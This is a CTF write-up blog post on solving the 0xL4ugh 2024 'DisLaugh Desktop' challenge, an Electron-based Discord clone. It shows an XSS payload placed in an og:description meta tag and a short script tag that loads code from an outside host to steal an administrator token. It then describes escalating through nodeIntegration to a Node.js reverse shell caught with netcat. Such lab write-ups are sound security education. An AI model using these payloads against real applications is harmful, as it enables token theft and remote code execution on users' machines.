Introduction
In this blog post, I’ll share how I solved the DisLaugh Desktop Challenge from 0xL4ugh CTF 2024 in an unintended way, along with my team, thehackerscrew.
I 🩸 it and another three solves only so far.
Exploring
We start by visiting the link provided in the challenge description, it looks like it’s a carbon copy of Discord

We’ll download the Windows Client and then Install it.
After the installation, it will pop out a discord-similar login screen
We’ll register a new account first

After registration, it’ll redirect us to the Login Screen again.
After logging, we’ll see the Home Screen.

We have only one option to do, this plus sign is used in Discord to create/join a server.

After we create the server it will appear in the left bar, we can click on it to see what’s in there

We can only Send Messages and Copy The Invite code

JS Code Review
Right-click on the DisLaugh shortcut it will show us the installation location.
It will be found at C:\Users\{USERNAME}\AppData\Local\Programs\dislaugh

We see here it’s probably the application written in ElectronJS, so we can get the source code from resources/app.asar
app.asar is an ASAR archive that contains the source code for the application.
We’ll use asar utility to extract the contents of the app.asar

We’ll use any online js beautifier to make the js code more comfortable
We’ll skip the boring parts in app.js but we’ll keep only in mind
webPreferences: {
nodeIntegration: !0,
contextIsolation: !1,
enableRemoteModule: !0,
preload: path.join(__dirname, "preload_dash.js")
}
In /templates/assets/js we have
alert.js: Responsible for Push Notifications
auth.js: Responsible for handling login/register stuff
dash-events.js: Responsible for listening for all events in the dashboard and routing them to the right function
dashboard.js: Contains all functions
jquery-3.7.1.min.js & socket.io.min.js
We’re interested in the juicy file that contains many functions ( dashboard.js ), I checked many functions but it seems fine for me, Suddenly this function caught my attention
addLink = (e, a, t, r, s = !1) => {
var n = $('<div class="msg-container"></div>'),
i = $('<div class="msg-author-icon"></div>');
i.text(getUserIcon(r)), n.append(i);
var o = $('<div class="msg-body"></div>'),
d = $('<div class="msg-author-name"></div>');
d.text(r);
var v = $('<a href="" class="msg-link"></a>');
v.text(e), v.attr("href", "#"), o.append(d), o.append(v);
var c = $('<div class="msg-link-metadata"></div>'),
p = $('<a href="" class="msg-link-title"></a>');
p.text(a), p.attr("href", "#");
var l = $('<div class="msg-link-desc"></div>');
if (l.append(t), c.append(p), c.append(l), s) {
var m = $('<img src="" class="msg-link-img">');
m.attr("src", s), c.append(m)
}
o.append(c), n.append(o), $(".chat-container").append(n)
},
Spot the bug
Especially
if (l.append(t), c.append(p), c.append(l), s) {
It uses jQuery.append() for user-supplied input which is vulnerable to XSS
Back for dash-events.js to see this function event listener
.on("message", n => {
console.log("Message received:", n), "text" == n.type ? addMessage(n.msg, n.author) : addLink(n.link, n.title, n.description, n.author, n.img), ScrollToEnd()
}), socket.on("error", n => {
pushErrorNotify("DisLaugh", n)
})
We’ll see it listens when the WebSocket sends the event message it uses ternary operator
to check the type of the message
If the type is text it’ll call addMessage with two parameters otherwise it’ll call addLink with five parameters
We’ll try to send two messages

Let’s take a look at the API directly

We’ll use dirsearch for trying to fuzz GET/POST endpoints to send message as a link

It uses POST /messages to send messages, we’ll try to fuzz the parameters using arjun with the Authorization header containing my token

It didn’t give us the known parameters like sid or message, We’ll try to see the response

Invalid Server ID or message?? Let’s try to add sid & message parameters and run the fuzz again.

arjun still found nothing more than we know, We can’t find more help us control the type or anything, so the server fetches the content and decides internally it’s text or link.
We need to know where is t in l.append(t) coming from, it’s the third parameter in the function declaration in dashboard.js and function calling in dash-events.js
So the vulnerable input is the description, so we can control the description on our website from the og:description tag
We’ll try a simple function to test the XSS
<html>
<head>
<meta property="og:title" content="Controlled Website">
<meta property="og:author" content="omakmoh">
<meta property="og:url" content="https://omakmoh.me/">
<meta property="og:image" content="logo.png">
<meta property="og:description" content="<script>alert(1)</script>">
</head>
<body></body>
</html>
Host the HTML file and send it to the channel

BoOoOoM XSS xD
Back to the website, we’ll see a tab called Help 
It looks like after we entered the invite code and an administrator visited our server, Maybe the flag was in a private server? Let’s try to steal the administrator token
We’ll use sendMessage from dashboard.js
sendMessage = async (e, a) => {
var t = await fetch(BASE_URL + "/messages", {
method: "POST",
headers: {
authorization: token,
"content-type": "application/json"
},
body: JSON.stringify({
sid: e,
message: a
})
}),
r = await t.json();
return 201 == t.status
}
The function takes two parameters
e = The server to which you want to send a message
a = The message
It will be sendMessage(activeServer,token)
both variables are declared in dashboard.js
We’ll replace alert(1) with sendMessage(activeServer,token) and send it again in the channel

The payload is cropped? It looks like there’s a limit for the description, if we count the characters it’ll be 30 characters and the rest is removed and replaced by ...
Unintended Solution
Quick search I came across this blog by TrustedSec and found a short payload
<script src=http:omakmoh.me/x> that is match our 30 character limit,
We’ll replace it and create an x file with the sendMessage on our web server
Create a new server ( We do not want to disturb the administrator due to alerts ) and send the link.
Take the invite code and submit it to the help page.

We now have the administrator token, let’s try to replace our token with the administrator token in localStorage ( CTRL + SHIFT + I ) and refresh the application ( CTRL + R )
We found nothing, We created this server to check if we are in the right account.
Oh wait, do we remember nodeIntegration in app.js ?
the value was !0 that’s means true, So if we have XSS we can get RCE
nodeIntergrationmeans Integrate Node.js features to be accessible directly from your page scripts
We’ll use ready-to-go reverse shell from revshells.com Copy the nodejs code and place it x file
We’ll send the link again in the channel, then we have to listen for incoming connections on port 1337 using nc -nlvp 1337
Now for the final step, we have to invite the administrator again.

We finally got the reverse shell and flag.
Kudos to DarkT for writing such a great challenge!
Follow me on X ( previously Twitter )